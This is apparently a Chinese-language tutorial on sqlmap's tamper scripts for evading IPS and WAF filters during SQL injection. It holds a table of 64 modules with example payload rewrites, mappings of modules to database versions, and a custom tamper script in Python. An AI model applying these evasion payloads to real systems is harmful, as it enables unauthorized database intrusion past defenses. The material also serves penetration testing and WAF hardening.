sqlmap在sql注入中的地位无需多说,对于布有IPS、WAF等安防系统的服务器而言,常规的注入攻击很可能被BAN掉,这时候需要利用sqlmap中tamper模块进行绕过,本文介绍tamper绕过规则和使用方法,更关键的是这些方法对于WAF绕过有很好的借鉴意义。
sqlmap version 1.5#stable 共64个脚本:
一、模块介绍
1.使用方法
sqlmap [options] --tamper "模块1,模块2,···"
eg:
# 查看tamper列表
sqlmap --list-tamper
# tamper注入
sqlmap -u "http://11931-odufi26we.gg.com/index.php?id=1" --tamper "between,randomcase,space2comment"
2.功能说明
模块 | 功能 | 实例 |
---|---|---|
apostrophemask.py | 对单引号' 用URL-UTF8编码 | ' ==>%EF%BC%87 |
apostrophenullencode.py | 对单引号' 用非法的双UNICODE编码 | ' ==>%00%27 |
unmagicquotes.py | 将单引号' 替换成多个字节并在结尾处添加注释符 | ' UNION SELECT ==>%BF%27 UNION SELECT# |
escapequotes.py | 斜杠转义单引号' 和双引号" | AND id='1' ==> AND id=\'1\' |
base64encode.py | 对payload进行一次BASE64编码 | 1 AND 1=1 ==> MSBBTkQgMT0x |
charunicodeencode.py | 对payload进行一次URL-UNICODE编码 | SELECT ==>%u0053%u0045%u004C%u0045%u0043%u0054 |
charunicodeescape.py | 对payload进行UNICODE格式转义编码 | SELECT ==>\u0053\u0045\u004C\u0045\u0043\u0054 |
htmlencode.py | 对payload中非字母非数字字符进行HTML编码 | AND id='1' ==> AND id='1' |
charencode.py | 对payload进行一次URL编码 | SELECT ==> %53%45%4C%45%43%54 |
chardoubleencode.py | 对payload进行两次URL编码 | SELECT ==> %2553%2545%254C%2545%2543%2554 |
overlongutf8.py | 将payload中非字母非数字字符用超长UTF8编码 | ' UNION SELECT ==>%C0%A7UNION%C0%AASELECT |
overlongutf8more.py | 将payload中所有字符用超长UTF8编码 | SELECT ==>%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94 |
equaltolike.py | 将payload中所有= 替换成LIKE | 1 AND id=1 ==> 1 AND id LIKE 1 |
equaltorlike.py | 将payload中所有= 替换成RLIKE | 1 AND id=1 ==> 1 AND id RLIKE 1 |
bluecoat.py | 将SQL语句中空格字符' ' 替换为%09 并替换 = 为LIKE | 1 AND id=1 ==> 1%09AND%09id LIKE 1 |
space2dash.py | 将空格字符' ' 替换成:-- +随机字符串+\n | UNION SELECT ==>UNION--gFdjw%0ASELECT |
space2hash.py | 将MySQL payload中空格字符' ' 替换成:# +随机字符串+\n | UNION SELECT ==>UNION#gFdjw%0ASELECT |
space2morehash.py | 将MySQL payload中空格字符' ' 替换成:# +随机字符串+\n | UNION SELECT ==>UNION#kHeeR%0ASELECT |
space2mssqlblank.py | 将MsSQL payload中空格字符' ' 替换成随机的空字符:( %01 , %02 , %03 , %04 ···%0F ) | UNION SELECT * FROM user ==>UNION%03SELECT%0A*%01FROM%05user |
space2mssqlhash.py | 将MySQL payload中空格字符' ' 替换成:# +\n | UNION SELECT ==>UNION#%0ASELECT |
space2mysqlblank.py | 将MySQL payload中空格字符' ' 替换成随机的空字符:( %09 , %0A , %0B , %0C , %0D ) | UNION SELECT * FROM user ==>UNION%0ASELECT%0C*%0DFROM%09user |
space2mysqldash.py | 将MySQL payload中空格字符' ' 替换成:-- +\n | UNION SELECT ==>UNION--%0ASELECT |
space2plus.py | 将空格字符' ' 替换成+ | UNION SELECT ==>UNION+SELECT |
space2randomblank.py | 将空格字符' ' 替换成随机的空字符:( %09 , %0A , %0C , %0D ) | UNION SELECT * FROM user ==>UNION%0ASELECT%0C*%0AFROM%09user |
0eunion.py | UNION 语句替换 | <int> UNION ==><int>e0UNION |
unionalltounion.py | UNION 语句替换 | UNION ALL SELECT ==>UNION SELECT |
misunion.py | UNION 语句替换 | UNION ==>-.1UNION |
dunion.py | UNION 语句替换 | <int> UNION ==> <int>DUNION |
sleep2getlock.py | SLEEP 语句替换 | SLEEP(5) ==>GET_LOCK('ETgP',5) |
ifnull2casewhenisnull.py | IFNULL 语句替换 | IFNULL(A, B) ==>CASE WHEN ISNULL(A) THEN (B) ELSE (A) END |
ifnull2ifisnull.py | IFNULL 语句替换 | IFNULL(A, B) ==>IF(ISNULL(A), B, A) |
commalesslimit.py | MySQL payload中LIMIT 语句替换 | LIMIT M, N ==>LIMIT N OFFSET M |
commalessmid.py | MySQL payload中MID 语句替换 | MID(A, B, C) ==>MID(A FROM B FOR C) |
hex2char.py | MySQL payload中CONCAT(CHAR(),…) 语句替换 | 0x<hex> ==>CONCAT(CHAR(),…) |
between.py | 用BETWEEN 语句替换=<> 号 | AND A=B ==> AND A BETWEEN B AND B AND A>B ==>AND A NOT BETWEEN 0 AND B |
concat2concatws.py | MySQL payload中CONCAT 语句替换 | CONCAT(A, B) ==>CONCAT_WS(MID(CHAR(0), 0, 0), A, B) |
space2comment.py | 将空格字符' ' 替换成注释符/**/ | UNION SELECT ==>UNION/**/SELECT |
space2morecomment.py | 将MySQL payload中空格字符' ' 替换成注释符 /**_**/ | UNION SELECT ==>UNION/**_**/SELECT |
commentbeforeparentheses.py | 在括号前加上/**/ 注释 | () ==>/**/() |
halfversionedmorekeywords.py | 在关键字前添加MySQL版本注释信息 | SELECT A AND B ==> /*!0SELECT A /*!0AND B |
modsecurityversioned.py | 用注释来包围完整的MySQL查询语句 | ' UNION SELECT * FROM user# ==>' /*!UNION SELECT * FROM user*/# |
modsecurityzeroversioned.py | 用注释来包围完整的MySQL查询语句 | ' UNION SELECT * FROM user# ==>' /*!000UNION SELECT * FROM user*/# |
randomcomments.py | 在SQL关键字的字符之间随机添加注释符 | SELECT ==>S/**/E/**/LECT |
versionedkeywords.py | 对MySQL payload中非函数的关键字进行注释 | UNION SELECT user() ==>/*!UNION*/ /*!SELECT*/ user() |
versionedmorekeywords.py | 对MySQL payload中所有关键字进行注释 | UNION SELECT user() ==>/*!UNION*/ /*!SELECT*/ /*!user*/() |
appendnullbyte.py | 在payload结束位置加零字节字符%00 | 1 AND 1=1 ==> 1 AND 1=1%00 |
binary.py | 在payload可能位置插入关键字binary | 1 UNION SELECT NULL ==>1 UNION SELECT binary NULL |
greatest.py | > 替换成GREATEST 语句 | 1 AND A > B ==> 1 AND GREATEST(A, B+1)=A |
least.py | > 替换成LEAST 语句 | 1 AND A > B ==> 1 AND LEAST(A-1, B)=B |
informationschemacomment.py | 在"information_schema"后面加上/**/ | select * from information_schema.tables ==>select * from information_schema/**/.tables |
lowercase.py | 将所有大写字符替换成小写字符 | SELECT ==>select |
uppercase.py | 将所有小写字符替换成大写字符 | select ==>SELECT |
multiplespaces.py | 在SQL关键字旁添加多个空格符' ' | UNION%20SELECT ==>%20UNION%20%20SELECT%20 |
percentage.py | payload中每个字符前加% | SELECT ==>%S%E%L%E%C%T |
plus2concat.py | 将+ 替换成MsSQL的CONCAT() 语句 | select char(102)+char(107) ==>select concat(char(102),char(107)) |
plus2fnconcat.py | 将+ 替换成MsSQL的{fn CONCAT()} 语句 | select char(102)+char(107) ==>select {fn concat(char(102),char(107))} |
randomcase.py | 对每个SQL关键字的字符替换成随机大小写 | SELECT ==>SEleCt |
schemasplit.py | 拆分数据库标识符 | testdb.users ==>testdb 9.e.users |
sp_password.py | 在MsSQL payload后添加ssp_password 用于混淆数据库日志 | UNION SELECT * FROM user# ==>UNION SELECT * FROM user#ssp_password |
substring2leftright.py | 将PostgreSQL中SUBSTRING 语句用 LEFT 和RIGHT 代替 | SUBSTRING((SELECT *)::text FROM 1 FOR 1) ==> LEFT((SELECT *)::text,1) |
symboliclogical.py | 将AND 和OR 替换成&& 和|| | SELECT 1 or 1=1 ==>SELECT 1 %26%26 1=1 |
luanginx.py | 针对LUA-Nginx WAF进行绕过 | |
varnish.py | 添加一个HTTP头X-originating-IP 用来绕过Varnish防火墙 | |
xforwardedfor.py | 添加伪造的HTTP头X-Forwarded-For |
二、测试版本
使用tamper时,要根据数据库类型和版本选择相应模块,下面列举经过测试验证的模块和数据库版本的对应关系:( 参考源码注释信息,传送门:https://github.com/sqlmapproject/sqlmap/tree/master/tamper )
1.MySQL
MySQL 版本 | 测试模块 |
---|---|
4.0/5.0 | space2hash |
4.0/5.0/5.5 | between, charencode, equaltolike, equaltorlike, greatest, hex2char, least, lowercase, randomcase, space2comment, space2randomblank, uppercase |
5.1 | bluecoat, space2mysqlblank |
5.0/5.5 | commalesslimit, commalessmid, ifnull2casewhenisnull, ifnull2ifisnull, sleep2getlock, space2morecomment |
5.0 | concat2concatws, modsecurityversioned, modsecurityzeroversioned |
5.1.56 | charunicodeencode |
5.1.56/5.5.11 | percentage, versionedmorekeywords |
4.0.18/5.0.22 | halfversionedmorekeywords |
4.0.18/5.1.56/5.5.11 | versionedkeywords |
5.1.41 | space2morehash |
未明确 | 0eunion, binary, commentbeforeparentheses, misunion, space2mssqlhash, space2mysqldash |
2.MsSQL
MsSQL 版本 | 测试模块 |
---|---|
2005/2000 | charunicodeencode, percentage, space2mssqlblank |
2005 | between, charencode, equaltolike, lowercase, randomcase, space2comment, space2randomblank, uppercase |
2008 | plus2fnconcat |
2012 | plus2concat |
未明确 | 0eunion, commentbeforeparentheses, sp_password, space2dash, space2mssqlhash, space2mysqldash |
3.PostgreSQL
PostgreSQL 版本 | 测试模块 |
---|---|
8.3/8.4/9.0 | between, charencode, greatest, least, lowercase, randomcase, space2comment, space2randomblank, uppercase |
9.0 | percentage |
9.0.3 | charunicodeencode |
9.6.12 | substring2leftright |
未明确 | commentbeforeparentheses |
4.Oracle
Oracle 版本 | 测试模块 |
---|---|
10g | between, charencode, greatest, least, lowercase, randomcase, space2comment, space2randomblank, uppercase |
未明确 | dunion, commentbeforeparentheses |
5.Access
Access 版本 | 测试模块 |
---|---|
未明确 | appendnullbyte |
6.SQLite
SQLite 版本 | 测试模块 |
---|---|
3 | randomcase |
未明确 | space2dash |
7.未测试模块
如果使用以上有数据库对应关系的模块不能成功注入,可尝试以下模块:
未测试模块 |
---|
apostrophemask, apostrophenullencode, base64encode, chardoubleencode, charunicodeescape, escapequotes, htmlencode, informationschemacomment, luanginx, multiplespaces, overlongutf8, overlongutf8more, randomcomments, schemasplit, space2plus, symboliclogical, unionalltounion, unmagicquotes, varnish, xforwardedfor |
注意:在尝试利用tamper进行注入时,要针对性选择使用,而不是一次性用越多的tamper效果越好。不要滥用tamper,有时不加tamper注入效果会更好。
三、自定义tamper
tamper具有很强灵活性,可以根据需要对模块进行修改、添加,tamper模块所在目录为:/usr/share/sqlmap/tamper/
。在已有tamper模块基础上做修改很方便,比如要将所有的or
替换成Or
,则可以先找功能相似的模块,如equaltolike.py
,除去注释内容,源码如下:
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
return retVal
根据需要,只需将其中的语句稍作修改即可,如下:
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"OR", "Or", retVal)
retVal = re.sub(r"or", "Or", retVal)
retVal = re.sub(r"oR", "Or", retVal)
return retVal
将模块命令为or2Or.py
,然后就可以--tamper "or2Or.py"
正常使用啦,可以通过-v 3
参数查看payload是否成功变形。